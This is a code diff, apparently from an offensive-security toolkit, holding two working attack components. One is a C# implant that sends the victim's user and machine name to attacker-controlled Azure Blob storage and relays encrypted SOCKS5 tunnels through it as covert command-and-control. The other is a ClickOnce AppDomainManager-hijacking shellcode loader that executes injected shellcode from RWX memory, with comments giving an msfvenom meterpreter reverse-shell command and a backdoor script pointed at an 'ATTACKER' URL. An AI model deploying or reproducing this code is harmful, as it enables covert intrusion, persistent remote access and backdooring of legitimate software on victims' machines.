PLE32(sk,16,s[12]); PLE32(sk,20,s[13]); PLE32(sk,24,s[14]); PLE32(sk,28,s[15]);
|
||||
return sk;
|
||||
}
|
||||
|
||||
static void QR(uint[] s, int a, int b, int c, int d)
|
||||
{
|
||||
s[a]+=s[b]; s[d]^=s[a]; s[d]=RL(s[d],16);
|
||||
s[c]+=s[d]; s[b]^=s[c]; s[b]=RL(s[b],12);
|
||||
s[a]+=s[b]; s[d]^=s[a]; s[d]=RL(s[d],8);
|
||||
s[c]+=s[d]; s[b]^=s[c]; s[b]=RL(s[b],7);
|
||||
}
|
||||
static uint RL(uint v, int n) => (v<<n)|(v>>(32-n));
|
||||
static uint LE32(byte[] b, int i) => (uint)b[i]|((uint)b[i+1]<<8)|((uint)b[i+2]<<16)|((uint)b[i+3]<<24);
|
||||
static void PLE32(byte[] b, int i, uint v)
|
||||
{ b[i]=(byte)v; b[i+1]=(byte)(v>>8); b[i+2]=(byte)(v>>16); b[i+3]=(byte)(v>>24); }
|
||||
|
||||
public static byte[] Xor(byte[] data, byte[] key)
|
||||
{
|
||||
byte[] r = new byte[data.Length];
|
||||
for (int i = 0; i < data.Length; i++) r[i] = (byte)(data[i] ^ key[i % key.Length]);
|
||||
return r;
|
||||
}
|
||||
}
|
||||
|
||||
class BlobHttp
|
||||
{
|
||||
readonly string _baseUrl, _sas;
|
||||
readonly HttpClient _http;
|
||||
readonly object _sendLock = new object();
|
||||
const int InitDelay = 50, MaxDelay = 3000;
|
||||
|
||||
public BlobHttp(string baseUrl, string sas)
|
||||
{
|
||||
_baseUrl = baseUrl.TrimEnd('/'); _sas = sas;
|
||||
_http = new HttpClient();
|
||||
_http.DefaultRequestHeaders.Add("x-ms-version", "2020-10-02");
|
||||
}
|
||||
string Url(string blob) => _baseUrl + "/" + blob + "?" + _sas;
|
||||
|
||||
public void Send(string blob, byte[] data, CancellationToken ct)
|
||||
{
|
||||
lock (_sendLock)
|
||||
{
|
||||
int delay = InitDelay;
|
||||
while (!ct.IsCancellationRequested)
|
||||
{
|
||||
long sz = GetSize(blob, ct);
|
||||
if (sz > 0) { Thread.Sleep(delay); delay = Math.Min((int)(delay*1.5), MaxDelay); continue; }
|
||||
delay = InitDelay;
|
||||
try { Upload(blob, data, ct); return; }
|
||||
catch (OperationCanceledException) { throw; }
|
||||
catch { Thread.Sleep(delay); delay = Math.Min((int)(delay*1.5), MaxDelay); }
|
||||
}
|
||||
ct.ThrowIfCancellationRequested();
|
||||
}
|
||||
}
|
||||
|
||||
public byte[] Recv(string blob, CancellationToken ct)
|
||||
{
|
||||
int delay = InitDelay;
|
||||
while (!ct.IsCancellationRequested)
|
||||
{
|
||||
long sz = GetSize(blob, ct);
|
||||
if (sz <= 0) { Thread.Sleep(delay); delay = Math.Min((int)(delay*1.5), MaxDelay); continue; }
|
||||
delay = InitDelay;
|
||||
try
|
||||
{
|
||||
byte[] data = Download(blob, ct);
|
||||
if (data != null && data.Length > 0) { Clear(blob, ct); return data; }
|
||||
}
|
||||
catch (OperationCanceledException) { throw; }
|
||||
catch { Thread.Sleep(delay); delay = Math.Min((int)(delay*1.5), MaxDelay); }
|
||||
}
|
||||
ct.ThrowIfCancellationRequested(); return null;
|
||||
}
|
||||
|
||||
long GetSize(string blob, CancellationToken ct)
|
||||
{
|
||||
try
|
||||
{
|
||||
using (var req = new HttpRequestMessage(HttpMethod.Head, Url(blob)))
|
||||
using (var resp = _http.SendAsync(req, ct).GetAwaiter().GetResult())
|
||||
{
|
||||
if (!resp.IsSuccessStatusCode) return -1;
|
||||
return resp.Content.Headers.ContentLength ?? 0;
|
||||
}
|
||||
}
|
||||
catch (OperationCanceledException) { throw; }
|
||||
catch { return -1; }
|
||||
}
|
||||
|
||||
byte[] Download(string blob, CancellationToken ct)
|
||||
{
|
||||
using (var resp = _http.GetAsync(Url(blob), ct).GetAwaiter().GetResult())
|
||||
{
|
||||
resp.EnsureSuccessStatusCode();
|
||||
return resp.Content.ReadAsByteArrayAsync().GetAwaiter().GetResult();
|
||||
}
|
||||
}
|
||||
|
||||
void Upload(string blob, byte[] data, CancellationToken ct)
|
||||
{
|
||||
using (var req = new HttpRequestMessage(HttpMethod.Put, Url(blob)))
|
||||
{
|
||||
req.Headers.Add("x-ms-blob-type", "BlockBlob");
|
||||
req.Content = new ByteArrayContent(data);
|
||||
req.Content.Headers.ContentType =
|
||||
new System.Net.Http.Headers.MediaTypeHeaderValue("application/octet-stream");
|
||||
using (var resp = _http.SendAsync(req, ct).GetAwaiter().GetResult())
|
||||
resp.EnsureSuccessStatusCode();
|
||||
}
|
||||
}
|
||||
|
||||
void Clear(string blob, CancellationToken ct)
|
||||
{
|
||||
int delay = InitDelay;
|
||||
while (!ct.IsCancellationRequested)
|
||||
{
|
||||
try { Upload(blob, new byte[0], ct); return; }
|
||||
catch (OperationCanceledException) { throw; }
|
||||
catch { Thread.Sleep(delay); delay = Math.Min((int)(delay*1.5), MaxDelay); }
|
||||
}
|
||||
}
|
||||
|
||||
public void WriteInfo(byte[] data, CancellationToken ct)
|
||||
{
|
||||
using (var req = new HttpRequestMessage(HttpMethod.Put, Url("info")))
|
||||
{
|
||||
req.Headers.Add("x-ms-blob-type", "BlockBlob");
|
||||
req.Content = new ByteArrayContent(data);
|
||||
req.Content.Headers.ContentType =
|
||||
new System.Net.Http.Headers.MediaTypeHeaderValue("text/plain");
|
||||
using (var resp = _http.SendAsync(req, ct).GetAwaiter().GetResult())
|
||||
resp.EnsureSuccessStatusCode();
|
||||
}
|
||||
}
|
||||
|
||||
public bool HealthCheck()
|
||||
{
|
||||
try
|
||||
{
|
||||
using (var req = new HttpRequestMessage(HttpMethod.Head, Url("info")))
|
||||
using (var resp = _http.SendAsync(req).GetAwaiter().GetResult())
|
||||
return resp.IsSuccessStatusCode;
|
||||
}
|
||||
catch { return false; }
|
||||
}
|
||||
}
|
||||
|
||||
public static class Agent
|
||||
{
|
||||
static ConcurrentDictionary<string, Conn> _conns = new ConcurrentDictionary<string, Conn>();
|
||||
static BlobHttp _http;
|
||||
static CancellationTokenSource _cts;
|
||||
|
||||
public static void Run(string connStr)
|
||||
{
|
||||
_cts = new CancellationTokenSource();
|
||||
string b64 = connStr;
|
||||
int pad = b64.Length % 4;
|
||||
if (pad > 0) b64 += new string('=', 4 - pad);
|
||||
string decoded = Encoding.UTF8.GetString(Convert.FromBase64String(b64));
|
||||
var uri = new Uri(decoded);
|
||||
string baseUrl = uri.Scheme + "://" + uri.Host + uri.AbsolutePath;
|
||||
string sas = uri.Query.TrimStart('?');
|
||||
_http = new BlobHttp(baseUrl, sas);
|
||||
|
||||
string info = Environment.UserName + "@" + Environment.MachineName;
|
||||
byte[] encInfo = Crypto.Xor(Encoding.UTF8.GetBytes(info), Proto.InfoKey);
|
||||
_http.WriteInfo(encInfo, _cts.Token);
|
||||
|
||||
Task.Run(() =>
|
||||
{
|
||||
while (!_cts.IsCancellationRequested)
|
||||
{ Thread.Sleep(30000); if (!_http.HealthCheck()) { _cts.Cancel(); return; } }
|
||||
});
|
||||
|
||||
try
|
||||
{
|
||||
while (!_cts.IsCancellationRequested)
|
||||
{
|
||||
byte[] raw;
|
||||
try { raw = _http.Recv("request", _cts.Token); }
|
||||
catch (OperationCanceledException) { break; }
|
||||
catch { continue; }
|
||||
if (raw == null || raw.Length == 0) continue;
|
||||
var pkt = Pkt.Decode(raw);
|
||||
if (pkt == null) continue;
|
||||
switch (pkt.Cmd)
|
||||
{
|
||||
case Proto.CmdNew: HandleNew(pkt); break;
|
||||
case Proto.CmdData: HandleData(pkt); break;
|
||||
case Proto.CmdClose: HandleClose(pkt); break;
|
||||
}
|
||||
}
|
||||
}
|
||||
catch (OperationCanceledException) { }
|
||||
finally { foreach (var c in _conns.Values) c.Kill(); }
|
||||
}
|
||||
|
||||
static void HandleNew(Pkt pkt)
|
||||
{
|
||||
string key = Conn.MakeKey(pkt.ConnId);
|
||||
if (pkt.Data == null || pkt.Data.Length < 56) return;
|
||||
byte[] nonce = new byte[24], sPub = new byte[32];
|
||||
Buffer.BlockCopy(pkt.Data, 0, nonce, 0, 24);
|
||||
Buffer.BlockCopy(pkt.Data, 24, sPub, 0, 32);
|
||||
byte[] priv, pub;
|
||||
Crypto.GenX25519(out priv, out pub);
|
||||
byte[] symKey = Crypto.DeriveKey(priv, sPub, nonce);
|
||||
var conn = new Conn { Id = pkt.ConnId, Key = symKey };
|
||||
if (!_conns.TryAdd(key, conn)) return;
|
||||
var ack = new Pkt { Cmd = Proto.CmdAck, ConnId = pkt.ConnId, Data = pub };
|
||||
try { _http.Send("response", ack.Encode(), _cts.Token); }
|
||||
catch { conn.Kill(); _conns.TryRemove(key, out _); return; }
|
||||
Task.Run(() => DoSocks(conn));
|
||||
}
|
||||
|
||||
static void HandleData(Pkt pkt)
|
||||
{
|
||||
Conn c; if (!_conns.TryGetValue(Conn.MakeKey(pkt.ConnId), out c) || c.Dead) return;
|
||||
byte[] plain = Crypto.Decrypt(c.Key, pkt.Data);
|
||||
if (plain == null) { SendClose(pkt.ConnId); return; }
|
||||
try { c.ReadBuf.Add(plain); } catch { }
|
||||
}
|
||||
|
||||
static void HandleClose(Pkt pkt)
|
||||
{ Conn c; if (_conns.TryRemove(Conn.MakeKey(pkt.ConnId), out c)) c.Kill(); }
|
||||
|
||||
static void DoSocks(Conn c)
|
||||
{
|
||||
try
|
||||
{
|
||||
byte[] m = Take(c); if (m == null) { CloseConn(c); return; }
|
||||
bool ok = false;
|
||||
for (int i = 0; i < m.Length; i++) if (m[i] == Proto.NoAuth) { ok = true; break; }
|
||||
if (!ok) { Tx(c, new byte[]{Proto.S5,0xFF}); CloseConn(c); return; }
|
||||
Tx(c, new byte[] { Proto.S5, Proto.NoAuth });
|
||||
byte[] cmd = Take(c);
|
||||
if (cmd == null || cmd.Length < 4 || cmd[0] != Proto.S5) { CloseConn(c); return; }
|
||||
if (cmd[1] == Proto.Connect) DoConnect(c, cmd);
|
||||
else { Tx(c, SocksReply(Proto.RCmdNotSup)); CloseConn(c); }
|
||||
}
|
||||
catch { CloseConn(c); }
|
||||
}
|
||||
|
||||
static void DoConnect(Conn c, byte[] cmd)
|
||||
{
|
||||
string target;
|
||||
try { target = ParseAddr(cmd, 3); }
|
||||
catch { Tx(c, SocksReply(Proto.RFail)); CloseConn(c); return; }
|
||||
TcpClient tcp;
|
||||
try
|
||||
{
|
||||
int lc = target.LastIndexOf(':');
|
||||
string host = target.Substring(0, lc).Trim('[', ']');
|
||||
int port = int.Parse(target.Substring(lc + 1));
|
||||
tcp = new TcpClient();
|
||||
var ar = tcp.BeginConnect(host, port, null, null);
|
||||
if (!ar.AsyncWaitHandle.WaitOne(10000)) { tcp.Close(); throw new TimeoutException(); }
|
||||
tcp.EndConnect(ar);
|
||||
}
|
||||
catch { Tx(c, SocksReply(Proto.RConnRefused)); CloseConn(c); return; }
|
||||
c.Tcp = tcp;
|
||||
var ep = (IPEndPoint)tcp.Client.LocalEndPoint;
|
||||
byte[] r = new byte[10];
|
||||
r[0]=Proto.S5; r[1]=Proto.ROk; r[3]=Proto.AIPv4;
|
||||
byte[] ipb = ep.Address.MapToIPv4().GetAddressBytes();
|
||||
if (ipb.Length >= 4) Buffer.BlockCopy(ipb, 0, r, 4, 4);
|
||||
r[8]=(byte)(ep.Port>>8); r[9]=(byte)(ep.Port&0xFF);
|
||||
Tx(c, r);
|
||||
var stream = tcp.GetStream();
|
||||
Task.Run(() =>
|
||||
{
|
||||
byte[] buf = new byte[131072];
|
||||
try { while (!c.Dead) { int n=stream.Read(buf,0,buf.Length); if(n<=0) break;
|
||||
byte[] chunk=new byte[n]; Buffer.BlockCopy(buf,0,chunk,0,n); Tx(c, chunk); } }
|
||||
catch { } finally { CloseConn(c); }
|
||||
});
|
||||
try { while (!c.Dead) { byte[] d = Take(c); if (d==null) break;
|
||||
stream.Write(d, 0, d.Length); stream.Flush(); } }
|
||||
catch { } finally { CloseConn(c); }
|
||||
}
|
||||
|
||||
static byte[] Take(Conn c)
|
||||
{ try { return c.ReadBuf.Take(c.Cts.Token); } catch { return null; } }
|
||||
|
||||
static void Tx(Conn c, byte[] data)
|
||||
{
|
||||
if (c.Dead) return;
|
||||
byte[] enc = Crypto.Encrypt(c.Key, data);
|
||||
var pkt = new Pkt { Cmd = Proto.CmdData, ConnId = c.Id, Data = enc };
|
||||
try { _http.Send("response", pkt.Encode(), _cts.Token); } catch { }
|
||||
}
|
||||
|
||||
static void CloseConn(Conn c)
|
||||
{
|
||||
if (!_conns.TryRemove(c.IdKey, out _) && c.Dead) return;
|
||||
c.Kill();
|
||||
var pkt = new Pkt { Cmd = Proto.CmdClose, ConnId = c.Id, Data = new byte[]{0} };
|
||||
try { _http.Send("response", pkt.Encode(), _cts.Token); } catch { }
|
||||
}
|
||||
|
||||
static void SendClose(byte[] connId)
|
||||
{
|
||||
var pkt = new Pkt { Cmd = Proto.CmdClose, ConnId = connId, Data = new byte[]{0} };
|
||||
try { _http.Send("response", pkt.Encode(), _cts.Token); } catch { }
|
||||
}
|
||||
|
||||
static byte[] SocksReply(byte code)
|
||||
=> new byte[] { Proto.S5, code, 0, Proto.AIPv4, 0, 0, 0, 0, 0, 0 };
|
||||
|
||||
static string ParseAddr(byte[] b, int off)
|
||||
{
|
||||
byte a = b[off]; int c = off+1; string h; int p;
|
||||
switch (a)
|
||||
{
|
||||
case Proto.AIPv4: h=b[c]+"."+b[c+1]+"."+b[c+2]+"."+b[c+3]; c+=4; break;
|
||||
case Proto.ADomain: int dl=b[c++]; h=Encoding.ASCII.GetString(b,c,dl); c+=dl; break;
|
||||
case Proto.AIPv6: var i6=new byte[16]; Buffer.BlockCopy(b,c,i6,0,16);
|
||||
h="["+new IPAddress(i6)+"]"; c+=16; break;
|
||||
default: throw new Exception("bad atyp");
|
||||
}
|
||||
p = (b[c]<<8)|b[c+1];
|
||||
return h+":"+p;
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,85 @@
|
||||
/*
|
||||
* ClickOnce AppDomainManager Injection — Shellcode Loader
|
||||
* ========================================================
|
||||
* Payload that decodes base64 shellcode and executes it via
|
||||
* VirtualAlloc + copy + CreateThread when the target ClickOnce
|
||||
* application loads via AppDomainManager hijacking.
|
||||
*
|
||||
* Placeholders (replaced by clickonce_backdoor.py):
|
||||
* {CLASSNAME} — AppDomainManager class name (must match .exe.config)
|
||||
* {SHELLCODE} — Base64-encoded raw shellcode bytes
|
||||
*
|
||||
* Compile:
|
||||
* csc.exe /t:library /platform:x86 /out:Payload.dll ShellcodeLoader.cs
|
||||
*
|
||||
* For x64 targets:
|
||||
* csc.exe /t:library /platform:x64 /out:Payload.dll ShellcodeLoader.cs
|
||||
*
|
||||
* Generate shellcode (example with msfvenom):
|
||||
* msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=x.x.x.x LPORT=443 -f raw -o shell.bin
|
||||
*
|
||||
* Then:
|
||||
* python clickonce_backdoor.py --input ./App.application --url http://ATTACKER/App --shellcode shell.bin
|
||||
*/
|
||||
|
||||
using System;
|
||||
using System.Runtime.InteropServices;
|
||||
using System.Threading;
|
||||
|
||||
public sealed class {CLASSNAME} : AppDomainManager
|
||||
{
|
||||
private static int _init = 0;
|
||||
public override void InitializeNewDomain(AppDomainSetup appDomainInfo)
|
||||
{
|
||||
if (Interlocked.Exchange(ref _init, 1) != 0) return;
|
||||
var t = new Thread(() =>
|
||||
{
|
||||
try
|
||||
{
|
||||
Thread.Sleep(2000);
|
||||
ShellcodeRunner.Execute();
|
||||
}
|
||||
catch { }
|
||||
});
|
||||
t.IsBackground = false;
|
||||
t.Start();
|
||||
}
|
||||
}
|
||||
|
||||
public class ShellcodeRunner
|
||||
{
|
||||
const uint MEM_COMMIT = 0x1000;
|
||||
const uint MEM_RESERVE = 0x2000;
|
||||
const uint PAGE_EXECUTE_READWRITE = 0x40;
|
||||
|
||||
[DllImport("kernel32.dll", SetLastError = true)]
|
||||
static extern IntPtr VirtualAlloc(
|
||||
IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);
|
||||
|
||||
[DllImport("kernel32.dll", SetLastError = true)]
|
||||
static extern IntPtr CreateThread(
|
||||
IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress,
|
||||
IntPtr lpParameter, uint dwCreationFlags, out uint lpThreadId);
|
||||
|
||||
[DllImport("kernel32.dll", SetLastError = true)]
|
||||
static extern uint WaitForSingleObject(IntPtr hHandle, uint dwMilliseconds);
|
||||
|
||||
public static bool Execute()
|
||||
{
|
||||
byte[] sc = Convert.FromBase64String("{SHELLCODE}");
|
||||
|
||||
IntPtr addr = VirtualAlloc(IntPtr.Zero, (uint)sc.Length,
|
||||
MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
|
||||
if (addr == IntPtr.Zero) return false;
|
||||
|
||||
Marshal.Copy(sc, 0, addr, sc.Length);
|
||||
|
||||
uint threadId;
|
||||
IntPtr hThread = CreateThread(IntPtr.Zero, 0, addr,
|
||||
IntPtr.Zero, 0, out threadId);
|
||||
if (hThread == IntPtr.Zero) return false;
|
||||
|
||||
WaitForSingleObject(hThread, 0xFFFFFFFF);
|
||||
return true;
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1 @@
|
||||
semver
|
||||